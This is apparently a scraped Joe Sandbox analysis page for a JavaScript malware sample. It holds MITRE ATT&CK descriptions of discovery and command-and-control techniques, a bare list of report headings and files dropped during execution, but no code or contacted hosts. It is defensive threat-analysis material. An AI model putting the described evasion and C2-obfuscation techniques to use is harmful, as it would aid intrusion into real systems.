Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2503475573085815370.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b885d.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2e2303f-62d7-4ca3-8f48-e5a985e1afe8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ee7ba5bc-9f4c-4471-a404-39878cc9180a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2503475573085815370.js